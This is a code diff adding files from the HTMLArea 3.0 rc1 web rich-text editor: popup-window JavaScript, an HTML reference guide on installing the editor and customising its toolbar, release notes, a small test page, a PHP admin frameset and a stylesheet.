+ break;
+ case "cancel":
+ button.onclick = function() {
+ self.close();
+ return false;
+ };
+ break;
+ }
+ }
+};
+
+PopupWin.prototype.showAtElement = function() {
+ var self = this;
+ // Mozilla needs some time to realize what's goin' on..
+ setTimeout(function() {
+ var w = self.content.offsetWidth + 4;
+ var h = self.content.offsetHeight + 4;
+ // size to content -- that's fuckin' buggy in all fuckin' browsers!!!
+ // so that we set a larger size for the dialog window and then center
+ // the element inside... phuck!
+
+ // center...
+ var el = self.content;
+ var s = el.style;
+ // s.width = el.offsetWidth + "px";
+ // s.height = el.offsetHeight + "px";
+ s.position = "absolute";
+ s.left = (w - el.offsetWidth) / 2 + "px";
+ s.top = (h - el.offsetHeight) / 2 + "px";
+ if (HTMLArea.is_gecko) {
+ self.window.innerWidth = w;
+ self.window.innerHeight = h;
+ } else {
+ self.window.resizeTo(w + 8, h + 35);
+ }
+ }, 25);
+};
--- /dev/null
+<project title="HTMLArea">
+ <version>3.0</version>
+ <release>rc1</release>
+</project>
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html> <head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<title>HTMLArea-3.0 Reference</title>
+
+<style type="text/css">
+ @import url(htmlarea.css);
+ body { font: 14px verdana,sans-serif; background: #fff; color: #000; }
+ h1, h2 { font-family:tahoma,sans-serif; }
+ h1 { border-bottom: 2px solid #000; }
+ h2 { border-bottom: 1px solid #aaa; }
+ h3, h4 { margin-bottom: 0px; font-family: Georgia,serif; font-style: italic; }
+ h4 { font-size: 90%; margin-left: 1em; }
+ acronym { border-bottom: 1px dotted #063; color: #063; }
+ p { margin-left: 2em; margin-top: 0.3em; }
+ li p { margin-left: 0px; }
+ .abstract { padding: 5px; margin: 0px 10em; font-size: 90%; border: 1px dashed #aaa; background: #eee;}
+ li { margin-left: 2em; }
+ em { color: #042; }
+ a { color: #00f; }
+ a:hover { color: #f00; }
+ a:active { color: #f80; }
+ span.browser { font-weight: bold; color: #864; }
+ .fixme { font-size: 20px; font-weight: bold; color: red; background: #fab;
+padding: 5px; text-align: center; }
+ .code {
+ background: #e4efff; padding: 5px; border: 1px dashed #abc; margin-left: 2em; margin-right: 2em;
+ font-family: fixed,"lucidux mono","andale mono","courier new",monospace;
+ }
+ .note, .warning { font-weight: bold; color: #0a0; font-variant: small-caps; }
+ .warning { color: #a00; }
+
+.string {
+ color: #06c;
+} /* font-lock-string-face */
+.comment {
+ color: #840;
+} /* font-lock-comment-face */
+.variable-name {
+ color: #000;
+} /* font-lock-variable-name-face */
+.type {
+ color: #008;
+ font-weight: bold;
+} /* font-lock-type-face */
+.reference {
+ color: #048;
+} /* font-lock-reference-face */
+.preprocessor {
+ color: #808;
+} /* font-lock-preprocessor-face */
+.keyword {
+ color: #00f;
+ font-weight: bold;
+} /* font-lock-keyword-face */
+.function-name {
+ color: #044;
+} /* font-lock-function-name-face */
+.html-tag {
+ font-weight: bold;
+} /* html-tag-face */
+.html-helper-italic {
+ font-style: italic;
+} /* html-helper-italic-face */
+.html-helper-bold {
+ font-weight: bold;
+} /* html-helper-bold-face */
+
+</style>
+
+<script type="text/javascript">
+ _editor_url = './';
+ _editor_lang = 'en';
+</script>
+<script type="text/javascript" src="htmlarea.js"></script>
+<script type="text/javascript" src="dialog.js"></script>
+<script tyle="text/javascript" src="lang/en.js"></script>
+
+</head>
+
+<body onload="HTMLArea.replace('TA')">
+
+
+<h1>HTMLArea-3.0 Documentation</h1>
+
+<div class="abstract" style="color: red; font-weight: bold">
+
+ This documentation contains valid information, but is outdated in the
+ terms that it does not covers all the features of HTMLArea. A new
+ documentation project will be started, based on LaTeX.
+
+</div>
+
+
+<h2>Introduction</h2>
+
+<h3>What is HTMLArea?</h3>
+
+<p>HTMLArea is a free <acronym title="What You See Is What You Get"
+>WYSIWYG</acronym> editor replacement for <code><textarea></code>
+fields. By adding a few simple lines of JavaScript code to your web page
+you can replace a regular textarea with a rich text editor that lets your
+users do the following:</p>
+
+<ul>
+ <li>Format text to be bold, italicized, or underlined.</li>
+ <li>Change the face, size, style and color.</li>
+ <li>Left, center, or right-justify paragraphs.</li>
+ <li>Make bulleted or numbered lists.</li>
+ <li>Indent or un-indent paragraphs.</li>
+ <li>Insert a horizontal line.</li>
+ <li>Insert hyperlinks and images.</li>
+ <li>View the raw HTML source of what they're editing.</li>
+ <li>and much more...</li>
+</ul>
+
+<p>Some of the interesting features of HTMLArea that set's it apart from
+other web based WYSIWYG editors are as follows:</p>
+
+<ul>
+ <li>It's lightweight, fast loading and can transform a regular textarea
+ into a rich-text editor with a single line of JavaScript.</li>
+ <li>Generates clean, valid HTML.</li>
+ <li>It degrades gracefully to older or non-supported browsers
+ (they get the original textarea field).</li>
+ <li>It's free and can be incorporated into any free or commercial
+ program.</li>
+ <li>It works with any server-side languages (ASP, PHP, Perl, Java,
+ etc).</li>
+ <li>It's written in JavaScript and can be easily viewed, modified or
+ extended.</li>
+ <li>It remembers entered content when a user navigates away and then hits
+ "back" in their browser.</li>
+ <li>Since it replaces existing textareas it doesn't require a lot of code
+ to add it to your pages (just one line).</li>
+ <li>Did we mention it was free? ;-)</li>
+</ul>
+
+<h3>Is it really free? What's the catch?</h3>
+
+<p>Yes! It's really free. You can use it, modify it, distribute it with your
+software, or do just about anything you like with it.</p>
+
+<h3>What are the browser requirements?</h3>
+
+<p>HTMLArea requires <span class="browser"><a
+href="http://www.microsoft.com/ie">Internet Explorer</a> >= 5.5</span>
+(Windows only), or <span class="browser"><a
+href="http://mozilla.org">Mozilla</a> >= 1.3-Beta</span> on any platform.
+Any browser based on <a href="http://mozilla.org/newlayout">Gecko</a> will
+also work, provided that Gecko version is at least the one included in
+Mozilla-1.3-Beta (for example, <a
+href="http://galeon.sf.net">Galeon-1.2.8</a>). However, it degrades
+gracefully to other browsers. They will get a regular textarea field
+instead of a WYSIWYG editor.</p>
+
+<h3>Can I see an example of what it looks like?</h3>
+
+<p>Just make sure you're using one of the browsers mentioned above and see
+below.</p>
+
+<form onsubmit="return false;">
+<textarea id="TA" style="width: 100%; height: 15em;">
+<p>Here is some sample text in textarea that's been transformed with <font
+color="#0000CC"><b>HTMLArea</b></font>.<br />
+You can make things <b>bold</b>, <i>italic</i>, <u>underline</u>. You can change the
+<font size="3">size</font> and <b><font color="#0000CC">c</font><font color="#00CC00">o</font><font color="#00CCCC">l</font><font color="#CC0000">o</font><font color="#CC00CC">r</font><font color="#CCCC00">s</font><font color="#CCCCCC">!</font></b>
+And lots more...</p>
+
+<p align="center"><font size="4" color="#ff0000"><b><u>Try HTMLArea
+today!</u></b></font><br /></p>
+</textarea>
+</form>
+
+<h3>Where can I find out more info, download the latest version and talk to
+other HTMLArea users?</h3>
+
+<p>You can find out more about HTMLArea and download the latest version on
+the <a href="http://dynarch.com/htmlarea/">HTMLArea
+homepage</a> and you can talk to other HTMLArea users and post any comments
+or suggestions you have in the <a
+href="http://www.interactivetools.com/iforum/Open_Source_C3/htmlArea_v3.0_-_Alpha_Release_F14/"
+>HTMLArea forum</a>.</p>
+
+<h2>Keyboard shortcuts</h2>
+
+<p>The editor provides the following key combinations:</p>
+
+<ul>
+ <li>CTRL-A -- select all</li>
+ <li>CTRL-B -- bold</li>
+ <li>CTRL-I -- italic</li>
+ <li>CTRL-U -- underline</li>
+ <li>CTRL-S -- strikethrough</li>
+ <li>CTRL-L -- justify left</li>
+ <li>CTRL-E -- justify center</li>
+ <li>CTRL-R -- justify right</li>
+ <li>CTRL-J -- justify full</li>
+ <li>CTRL-1 .. CTRL-6 -- headings (<h1> .. <h6>)</li>
+ <li>CTRL-0 (zero) -- clean content pasted from Word</li>
+</ul>
+
+<h2>Installation</h2>
+
+<h3>How do I add HTMLArea to my web page?</h3>
+
+<p>It's easy. First you need to upload HTMLArea files to your website.
+Just follow these steps.</p>
+
+<ol>
+ <li>Download the latest version from the <a
+ href="http://www.interactivetools.com/products/htmlarea/">htmlArea
+ homepage</a>.</li>
+ <li>Unzip the files onto your local computer (making sure to maintain the
+ directory structure contained in the zip).</li>
+ <li>Create a new folder on your website called /htmlarea/ (make sure it's
+ NOT inside the cgi-bin).</li>
+ <li>Transfer all the HTMLArea files from your local computer into the
+ /htmlarea/ folder on your website.</li>
+ <li>Open the example page /htmlarea/examples/core.html with your browser to make
+ sure everything works.</li>
+</ol>
+
+<p>Once htmlArea is on your website all you need to do is add some
+JavaScript to any pages that you want to add WYSIWYG editors to. Here's how
+to do that.</p>
+
+<ol>
+
+ <li>Define some global variables. "_editor_url" has to be the absolute
+ URL where HTMLArea resides within your
+ website; as we discussed, this would be “/htmlarea/”. "_editor_lang" must
+ be the language code in which you want HTMLArea to appear. This defaults
+ to "en" (English); for a list of supported languages, please look into
+ the "lang" subdirectory in the distribution.
+ <pre class="code"
+ ><span class="function-name"><</span><span class="html-tag">script</span> <span class="variable-name">type=</span><span class="string">"text/javascript"</span><span class="function-name">></span>
+ _editor_url = <span class="string">"/htmlarea/"</span>;
+ _editor_lang = <span class="string">"en"</span>;
+<span class="function-name"><</span><span class="html-tag">/script</span><span class="function-name">></span></pre>
+
+ <li>Include the "htmlarea.js" script:
+ <pre class="code"
+ ><span class="function-name"><</span><span class="html-tag">script</span> <span class="variable-name">type=</span><span class="string">"text/javascript"</span> <span class="variable-name">src=</span><span class="string">"/htmlarea/htmlarea.js"</span><span class="function-name">></span><span class="paren-face-match"><</span><span class="html-tag">/script</span><span class="paren-face-match">></span></pre>
+ </li>
+
+ <li><p>If you want to change all your <textarea>-s into
+ HTMLArea-s then you can use the simplest way to create HTMLArea:</p>
+ <pre class="code"
+ ><span class="function-name"><</span><span class="html-tag">script</span> <span class="variable-name">type=</span><span class="string">"text/javascript"</span> <span class="variable-name">defer=</span><span class="string">"1"</span><span class="function-name">></span>
+ HTMLArea.replaceAll<span class="function-name">()</span>;
+<span class="paren-face-match"><</span><span class="html-tag">/script</span><span class="paren-face-match">></span></pre>
+ <p><span class="note">Note:</span> you can also add the
+ <code>HTMLArea.replaceAll()</code> code to the <code>onload</code>
+ event handler for the <code>body</code> element, if you find it more appropriate.</p>
+
+ <p>A different approach, if you have more than one textarea and only want
+ to change one of them, is to use <code>HTMLArea.replace("id")</code> --
+ pass the <code>id</code> of your textarea. Do not use the
+ <code>name</code> attribute anymore, it's not a standard solution!</p>
+
+</ol>
+
+<p>This section applies to HTMLArea-3.0 release candidate 1 or later; prior
+to this version, one needed to include more files; however, now HTMLArea is
+able to include other files too (such as stylesheet, language definition
+file, etc.) so you only need to define the editor path and load
+"htmlarea.js". Nice, eh? ;-)</p>
+
+<h3>I want to change the editor settings, how do I do that?</h3>
+
+<p>While it's true that all you need is one line of JavaScript to create an
+htmlArea WYSIWYG editor, you can also specify more config settings in the
+code to control how the editor works and looks. Here's an example of some of
+the available settings:</p>
+
+<pre class="code"
+><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config(); <span class="comment">// create a new configuration object
+</span> <span class="comment">// having all the default values
+</span>config.width = '<span class="string">90%</span>';
+config.height = '<span class="string">200px</span>';
+
+<span class="comment">// the following sets a style for the page body (black text on yellow page)
+// and makes all paragraphs be bold by default
+</span>config.pageStyle =
+ '<span class="string">body { background-color: yellow; color: black; font-family: verdana,sans-serif } </span>' +
+ '<span class="string">p { font-width: bold; } </span>';
+
+<span class="comment">// the following replaces the textarea with the given id with a new
+// HTMLArea object having the specified configuration
+</span>HTMLArea.replace('<span class="string">id</span>', config);</pre>
+
+<p><span class="warning">Important:</span> It's recommended that you add
+custom features and configuration to a separate file. This will ensure you
+that when we release a new official version of HTMLArea you'll have less
+trouble upgrading it.</p>
+
+<h3>How do I customize the toolbar?</h3>
+
+<p>Using the configuration object introduced above allows you to completely
+control what the toolbar contains. Following is an example of a one-line,
+customized toolbar, much simpler than the default one:</p>
+
+<pre class="code"
+><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config();
+config.toolbar = [
+ ['<span class="string">fontname</span>', '<span class="string">space</span>',
+ '<span class="string">fontsize</span>', '<span class="string">space</span>',
+ '<span class="string">formatblock</span>', '<span class="string">space</span>',
+ '<span class="string">bold</span>', '<span class="string">italic</span>', '<span class="string">underline</span>']
+];
+HTMLArea.replace('<span class="string">id</span>', config);</pre>
+
+<p>The toolbar is an Array of Array objects. Each array in the toolbar
+defines a new line. The default toolbar looks like this:</p>
+
+<pre class="code"
+>config.toolbar = [
+[ "<span class="string">fontname</span>", "<span class="string">space</span>",
+ "<span class="string">fontsize</span>", "<span class="string">space</span>",
+ "<span class="string">formatblock</span>", "<span class="string">space</span>",
+ "<span class="string">bold</span>", "<span class="string">italic</span>", "<span class="string">underline</span>", "<span class="string">separator</span>",
+ "<span class="string">strikethrough</span>", "<span class="string">subscript</span>", "<span class="string">superscript</span>", "<span class="string">separator</span>",
+ "<span class="string">copy</span>", "<span class="string">cut</span>", "<span class="string">paste</span>", "<span class="string">space</span>", "<span class="string">undo</span>", "<span class="string">redo</span>" ],
+
+[ "<span class="string">justifyleft</span>", "<span class="string">justifycenter</span>", "<span class="string">justifyright</span>", "<span class="string">justifyfull</span>", "<span class="string">separator</span>",
+ "<span class="string">insertorderedlist</span>", "<span class="string">insertunorderedlist</span>", "<span class="string">outdent</span>", "<span class="string">indent</span>", "<span class="string">separator</span>",
+ "<span class="string">forecolor</span>", "<span class="string">hilitecolor</span>", "<span class="string">textindicator</span>", "<span class="string">separator</span>",
+ "<span class="string">inserthorizontalrule</span>", "<span class="string">createlink</span>", "<span class="string">insertimage</span>", "<span class="string">inserttable</span>", "<span class="string">htmlmode</span>", "<span class="string">separator</span>",
+ "<span class="string">popupeditor</span>", "<span class="string">separator</span>", "<span class="string">showhelp</span>", "<span class="string">about</span>" ]
+];</pre>
+
+<p>Except three strings, all others in the examples above need to be defined
+in the <code>config.btnList</code> object (detailed a bit later in this
+document). The three exceptions are: 'space', 'separator' and 'linebreak'.
+These three have the following meaning, and need not be present in
+<code>btnList</code>:</p>
+
+<ul>
+ <li>'space' -- Inserts a space of 5 pixels (the width is configurable by external
+ <acronym title="Cascading Style Sheets">CSS</acronym>) at the current
+ position in the toolbar.</li>
+ <li>'separator' -- Inserts a small vertical separator, for visually grouping related
+ buttons.</li>
+ <li>'linebreak' -- Starts a new line in the toolbar. Subsequent controls will be
+ inserted on the new line.</li>
+</ul>
+
+<p><span class="warning">Important:</span> It's recommended that you add
+custom features and configuration to a separate file. This will ensure you
+that when we release a new official version of HTMLArea you'll have less
+trouble upgrading it.</p>
+
+<h3>How do I create custom buttons?</h3>
+
+<p>By design, the toolbar is easily extensible. For adding a custom button
+one needs to follow two steps.</p>
+
+<h4 id="regbtn">1. Register the button in <code>config.btnList</code>.</h4>
+
+<p>For each button in the toolbar, HTMLArea needs to know the following
+information:</p>
+<ul>
+ <li>a name for it (we call it the ID of the button);</li>
+ <li>the path to an image to be displayed in the toolbar;</li>
+ <li>a tooltip for it;</li>
+ <li>whether the button is enabled or not in text mode;</li>
+ <li>what to do when the button is clicked;</li>
+</ul>
+<p>You need to provide all this information for registering a new button
+too. The button ID can be any string identifier and it's used when
+defining the toolbar, as you saw above. We recommend starting
+it with "my-" so that it won't clash with the standard ID-s (those from
+the default toolbar).</p>
+
+<p class="note">Register button example #1</p>
+
+<pre class="code"
+><span class="comment">// get a default configuration
+</span><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config();
+<span class="comment">// register the new button using Config.registerButton.
+// parameters: button ID, tooltip, image, textMode,
+</span>config.registerButton("<span class="string">my-hilite</span>", "<span class="string">Highlight text</span>", "<span class="string">my-hilite.gif</span>", <span class="keyword">false</span>,
+<span class="comment">// function that gets called when the button is clicked
+</span> <span class="keyword">function</span>(editor, id) {
+ editor.surroundHTML('<span class="string"><span class="hilite"></span>', '<span class="string"></span></span>');
+ }
+);</pre>
+
+<p>An alternate way of calling registerButton is exemplified above. Though
+the code might be a little bit larger, using this form makes your code more
+maintainable. It doesn't even needs comments as it's pretty clear.</p>
+
+<p class="note">Register button example #2</p>
+
+<pre class="code"
+><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config();
+config.registerButton({
+ id : "<span class="string">my-hilite</span>",
+ tooltip : "<span class="string">Highlight text</span>",
+ image : "<span class="string">my-hilite.gif</span>",
+ textMode : <span class="keyword">false</span>,
+ action : <span class="keyword">function</span>(editor, id) {
+ editor.surroundHTML('<span class="string"><span class="hilite"></span>', '<span class="string"></span></span>');
+ }
+});</pre>
+
+<p>You might notice that the "action" function receives two parameters:
+<b>editor</b> and <b>id</b>. In the examples above we only used the
+<b>editor</b> parameter. But it could be helpful for you to understand
+both:</p>
+
+<ul>
+ <li><b>editor</b> is a reference to the HTMLArea object. Since our entire
+ code now has an <acronym title="Object Oriented Programming">OOP</acronym>-like
+ design, you need to have a reference to
+ the editor object in order to do things with it. In previous versions of
+ HTMLArea, in order to identify the object an ID was used -- the ID of the
+ HTML element. In this version ID-s are no longer necessary.</li>
+
+ <li><b>id</b> is the button ID. Wondering why is this useful? Well, you
+ could use the same handler function (presuming that it's not an anonymous
+ function like in the examples above) for more buttons. You can <a
+ href="#btnex">see an example</a> a bit later in this document.</li>
+</ul>
+
+<h4>2. Inserting it into the toolbar</h4>
+
+<p>At this step you need to specify where in the toolbar to insert the
+button, or just create the whole toolbar again as you saw in the previous
+section. You use the button ID, as shown in the examples of customizing the
+toolbar in the previous section.</p>
+
+<p>For the sake of completion, following there are another examples.</p>
+
+<p class="note">Append your button to the default toolbar</p>
+
+<pre class="code"
+>config.toolbar.push([ "<span class="string">my-hilite</span>" ]);</pre>
+
+<p class="note">Customized toolbar</p>
+
+<pre class="code"
+>config.toolbar = [
+ ['<span class="string">fontname</span>', '<span class="string">space</span>',
+ '<span class="string">fontsize</span>', '<span class="string">space</span>',
+ '<span class="string">formatblock</span>', '<span class="string">space</span>',
+ '<span class="string">separator</span>', '<span class="string">my-hilite</span>', '<span class="string">separator</span>', '<span class="string">space</span>', <span class="comment">// here's your button
+</span> '<span class="string">bold</span>', '<span class="string">italic</span>', '<span class="string">underline</span>', '<span class="string">space</span>']
+];</pre>
+
+<p><span class="note">Note:</span> in the example above our new button is
+between two vertical separators. But this is by no means required. You can
+put it wherever you like. Once registered in the btnList (<a
+href="#regbtn">step 1</a>) your custom button behaves just like a default
+button.</p>
+
+<p><span class="warning">Important:</span> It's recommended that you add
+custom features and configuration to a separate file. This will ensure you
+that when we release a new official version of HTMLArea you'll have less
+trouble upgrading it.</p>
+
+<h4 id="btnex">A complete example</h4>
+
+<p>Please note that it is by no means necessary to include the following
+code into the htmlarea.js file. On the contrary, it might not work there.
+The configuration system is designed such that you can always customize the
+editor <em>from outside files</em>, thus keeping the htmlarea.js file
+intact. This will make it easy for you to upgrade your HTMLArea when we
+release a new official version. OK, I promise it's the last time I said
+this. ;)</p>
+
+<pre class="code"
+><span class="comment">// All our custom buttons will call this function when clicked.
+// We use the <b>buttonId</b> parameter to determine what button
+// triggered the call.
+</span><span class="keyword">function</span> <span class="function-name">clickHandler</span>(editor, buttonId) {
+ <span class="keyword">switch</span> (buttonId) {
+ <span class="keyword">case</span> "<span class="string">my-toc</span>":
+ editor.insertHTML("<span class="string"><h1>Table Of Contents</h1></span>");
+ <span class="keyword">break</span>;
+ <span class="keyword">case</span> "<span class="string">my-date</span>":
+ editor.insertHTML((<span class="keyword">new</span> Date()).toString());
+ <span class="keyword">break</span>;
+ <span class="keyword">case</span> "<span class="string">my-bold</span>":
+ editor.execCommand("<span class="string">bold</span>");
+ editor.execCommand("<span class="string">italic</span>");
+ <span class="keyword">break</span>;
+ <span class="keyword">case</span> "<span class="string">my-hilite</span>":
+ editor.surroundHTML("<span class="string"><span class=\"hilite\"></span>", "<span class="string"></span></span>");
+ <span class="keyword">break</span>;
+ }
+};
+
+<span class="comment">// Create a new configuration object
+</span><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config();
+
+<span class="comment">// Register our custom buttons
+</span>config.registerButton("<span class="string">my-toc</span>", "<span class="string">Insert TOC</span>", "<span class="string">my-toc.gif</span>", <span class="keyword">false</span>, clickHandler);
+config.registerButton("<span class="string">my-date</span>", "<span class="string">Insert date/time</span>", "<span class="string">my-date.gif</span>", <span class="keyword">false</span>, clickHandler);
+config.registerButton("<span class="string">my-bold</span>", "<span class="string">Toggle bold/italic</span>", "<span class="string">my-bold.gif</span>", <span class="keyword">false</span>, clickHandler);
+config.registerButton("<span class="string">my-hilite</span>", "<span class="string">Hilite selection</span>", "<span class="string">my-hilite.gif</span>", <span class="keyword">false</span>, clickHandler);
+
+<span class="comment">// Append the buttons to the default toolbar
+</span>config.toolbar.push(["<span class="string">linebreak</span>", "<span class="string">my-toc</span>", "<span class="string">my-date</span>", "<span class="string">my-bold</span>", "<span class="string">my-hilite</span>"]);
+
+<span class="comment">// Replace an existing textarea with an HTMLArea object having the above config.
+</span>HTMLArea.replace("<span class="string">textAreaID</span>", config);</pre>
+
+
+<hr />
+<address>© <a href="http://interactivetools.com" title="Visit our website"
+>InteractiveTools.com</a> 2002-2004.
+<br />
+© <a href="http://dynarch.com">dynarch.com</a> 2003-2004<br />
+HTMLArea v3.0 developed by <a
+href="http://dynarch.com/mishoo/">Mihai Bazon</a>.
+<br />
+Documentation written by Mihai Bazon.
+</address>
+<!-- hhmts start --> Last modified: Wed Jan 28 12:18:23 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+</body> </html>
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html xmlns="http://www.w3.org/1999/xhtml">
+ <head>
+ <title><% $basename %> release notes</title>
+ <style>
+ .fixme { color: red; }
+ </style>
+ </head>
+
+ <body>
+
+ <h1><% $basename %> release notes</h1>
+
+ <p>This release was compiled on <% $time %>.</p>
+
+ <h2>3.0-rc1</h2>
+
+ <p>Changes since 3.0-Beta:</p>
+
+ <ul>
+ <li>
+ <b>New plugins</b>
+ <ul>
+ <li>
+ ContextMenu plugin (provides a nice context menu with common
+ operations, including table ops, link ops, etc.)
+ </li>
+ <li>
+ CSS plugin (provides an easy way to insert/change CSS classes)
+ </li>
+ <li>
+ FullPage plugin (allows HTMLArea to edit a whole HTML file,
+ not only the content within <body>.)
+ </li>
+ </ul>
+ </li>
+ <li>
+ <b>Changes in the SpellChecker plugin</b>
+ <ul>
+ <li>
+ Many bugfixes: now it works ;-) Fully Unicode-safe.
+ </li>
+ <li>
+ Speed and bandwidth optimization: reports the list of
+ suggestions only once for each mispelled word; this helps
+ in cases where you have, for instance, the word “HTMLArea”
+ in 10 places all over the document; the list of
+ suggestions for it--which is kind of huge--will only be
+ included <em>once</em>.
+ </li>
+ <li>
+ User interface improvements: the highlighted word will
+ remain in view; in cases where it's normally outside, the
+ window will be scrolled to it.
+ </li>
+ <li>
+ Added a "Revert" button for those that change their minds ;-)
+ </li>
+ <li>
+ Added a "Info" button which reports information about the
+ document, retrieved by the server-side spell checker:
+ total number of words, total number of mispelled words,
+ number of suggestions made, spell check time, etc. More
+ can be easily added. <span class="fixme">FIXME: this part
+ is not yet internationalized.</span>
+ </li>
+ <li>
+ The server-side spell checker now uses XML::DOM instead of
+ HTML::Parser, which means that it will be unable to parse
+ “tag-soup” HTML. It needs valid code. Usually HTMLArea
+ generates valid code, but on rare occasions it might fail
+ and the spell checker will report a gross error message.
+ This gonna have to be fixed, but instead of making the
+ spell checker accept invalid HTML I prefer to make
+ HTMLArea generate valid code, so changes are to be done in
+ other places ;-)
+ </li>
+ </ul>
+ </li>
+ <li>
+ <b>Changes in the core editor</b>
+ <ul>
+ <li>
+ Easier to setup: you only need to load
+ <tt>htmlarea.js</tt>; other scripts will be loaded
+ automatically. <a href="reference.html">Documentation</a>
+ and <a href="examples/">examples</a> updated.
+ </li>
+ <li>
+ Better plugin support (they register information about
+ themselves with the editor; can register event handlers for
+ the editor, etc.)
+ </li>
+ <li>
+ New about box; check it out, it's cool ;-)
+ </li>
+ <li>
+ Word cleaner (can be enabled to automatically kill Word crap
+ on paste (see Config.killWordOnPaste); otherwise accessible by
+ pressing CTRL-0 in the editor; a toolbar button will come up
+ soon)
+ </li>
+ <li>
+ Image preview in "insert image" dialog. Also allows
+ modification of current image, if selected.
+ </li>
+ <li>
+ New "insert link" dialog, allows target and title
+ specification, allows editing links.
+ </li>
+ <li>
+ Implemented support for text direction (left-to-right or
+ right-to-left).
+ </li>
+ <li>
+ Lots of bug fixes! ... and more, I guess ;-) an
+ automatically generated <a href="ChangeLog">change log</a>
+ is now available.
+ </li>
+ </ul>
+ </li>
+ </ul>
+
+ <p>I don't have the power to go through the <a
+href="http://sourceforge.net/tracker/?atid=525656&group_id=69750&func=browse">bug
+system</a> at SourceForge
+ now. Some of the bugs reported there may be fixed; I'll update
+ their status, some other time. If you reported bugs there and now
+ find them to be fixed, please let me know.</p>
+
+ <h2>3.0-Beta</h2>
+
+ <p>Changes since 3.0-Alpha:</p>
+
+ <ul>
+
+ <li>Performance improvements.</li>
+
+ <li>Many bugs fixed.</li>
+
+ <li>Plugin infrastructure.</li>
+
+ <li>TableOperations plugin.</li>
+
+ <li>SpellChecker plugin.</li>
+
+ <li>Status bar.</li>
+
+ <li>API for registering custom buttons and drop-down boxes in the
+ toolbar.</li>
+
+ <li>Toolbar can contain text labels.</li>
+
+ <li>Cut, copy, paste, undo, redo buttons.</li>
+
+ </ul>
+<%doc>
+ <h2>Rationale for Beta</h2>
+
+ <p>Why was this released as "Beta"? The code is quite stable and it
+ didn't deserve a "Beta" qualification. However, there are some things
+ left to do for the real 3.0 version. These things will not affect the
+ API to work with HTMLArea, in other words, you can install the Beta
+ right now and then install the final release without modifying your
+ code. That's if you don't modify HTMLArea itself. ;-)</p>
+
+ <h2>To-Do before 3.0 final</h2>
+
+ <ol>
+
+ <li>We should use a single popup interface. Currently there are two:
+ dialog.js and popupwin.js; dialog.js emulates modal dialogs, which
+ sucks when you want to open "select-color" from another popup and not
+ from the editor itself. Very buggy in IE. We should probably use only
+ modeless dialogs (that is, popupwin.js).</li>
+
+ <li>Internationalization for the SpellChecker plugin.</li>
+
+ <li>Internationalization for the TableOperations plugin.</li>
+
+ <li>People who sent translations are invited to re-iterate through
+ their work and make it up-to-date with lang/en.js which is the main
+ lang file for HTMLArea-3.0. Some things have changed but not all
+ translations are updated.</li>
+
+ <li><strong>Documentation</strong>.</li>
+
+ </ol>
+</%doc>
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Sun Aug 3 16:55:08 EEST 2003 -->
+<!-- hhmts start --> Last modified: Sun Feb 1 13:16:10 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
+
+<%ARGS>
+ $project => 'HTMLArea'
+ $version => '3.0'
+ $release => 'rc1'
+ $basename => 'HTMLArea-3.0-rc1'
+</%ARGS>
+
+<%INIT>;
+use POSIX qw(strftime);
+my $time = strftime '%b %e, %Y [%H:%M] GMT', gmtime;
+</%INIT>
--- /dev/null
+<html>
+<head>
+ <script>
+ function breakit(){
+ elem = document.getElementById('page1');
+ elem.style.display = 'none'
+ elem.style.display = 'block'
+ if (HTMLArea.is_gecko) {
+ editor._doc.designMode = 'off';
+ editor._doc.designMode = 'on';
+ editor.focusEditor();
+ }
+ }
+ _editor_url = '/htmlarea/';
+ _editor_lang = 'en';
+ </script>
+ <script type="text/javascript" src="/htmlarea/htmlarea.js"></script>
+</head>
+<body>
+ <button onclick='breakit();'>Break It</button>
+ <div id="page1" class="pagetext">
+ <textarea class="inputbox" cols="50" rows="20" name="introtext" id="introtext"></textarea>
+ </div>
+ <script language="JavaScript1.2" defer="defer">
+ var editor = new HTMLArea("introtext");
+ editor.generate('introtext');
+ </script>
+</body>
+</html>
--- /dev/null
+<?include("../setup.phtml")?>
+<html>
+<head>
+<title><?=SITENAME?> Administration</title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<frameset frameborder="0" framespacing="0" border="0" cols="145,*">
+<frame name="Nav" src="nav.phtml" marginwidth="6" marginheight="0" scrolling="NO">
+<frame name="Main" src="splash.phtml" marginwidth="6" marginheight="4" scrolling="AUTO">
+</frameset>
+</head>
+<noframes>
+<body>
+<p>Admin Requires Frames Capable Browser</p>
+<ul>You can get a Standard Compliant browser from:
+<li>Microsoft <a href="http://www.microsoft.com/windows/ie/">Internet Explorer</a></li>
+<li>Mozilla's <a href="http://www.mozilla.org/products/firefox/">Firefox</a></li>
+</ul>
+</body>
+</noframes>
+</html>
--- /dev/null
+body { background-color: #FFFFFF; }
+.navlink { font-size: 80%; font-family: arial; }
+TD { font-size: 11px; font-family: arial,helvetica; }
+INPUT { font-size: 12px; font-family: arial,helvetica; }
+SELECT { font-size: 12px; font-family: arial,helvetica; }
+OPTION { font-size: 12px; font-family: arial,helvetica; }
+TH { font-size: 11px; font-family: arial,helvetica; font-weight: bold; }
+.theader { font-size: 120%; font-family: arial,helvetica; color: #FFFFFF; }
+.text { font-size: 100%; font-family: arial,helvetica; color: #000000; }
+.theadertd { background-color: #000080; }
+.pac_std_text { font-size: 12px; font-weight: normal; }
+.pac_bold_text { font-size: 12px; font-weight: bold; }
+.pac_std_small { font-size: 10px; font-weight: normal }
+.pac_bold_small { font-size: 10px; font-weight: bold }
+.pac_redtext { font-size: 12px; color: #CC0000 ; font-family: Arial, Helvetica, sans-serif; font-weight: normal; }
+.pac_redhead { font-size: 12px; font-weight: bold; color: #CC0000; font-family: Arial, Helvetica, sans-serif; }
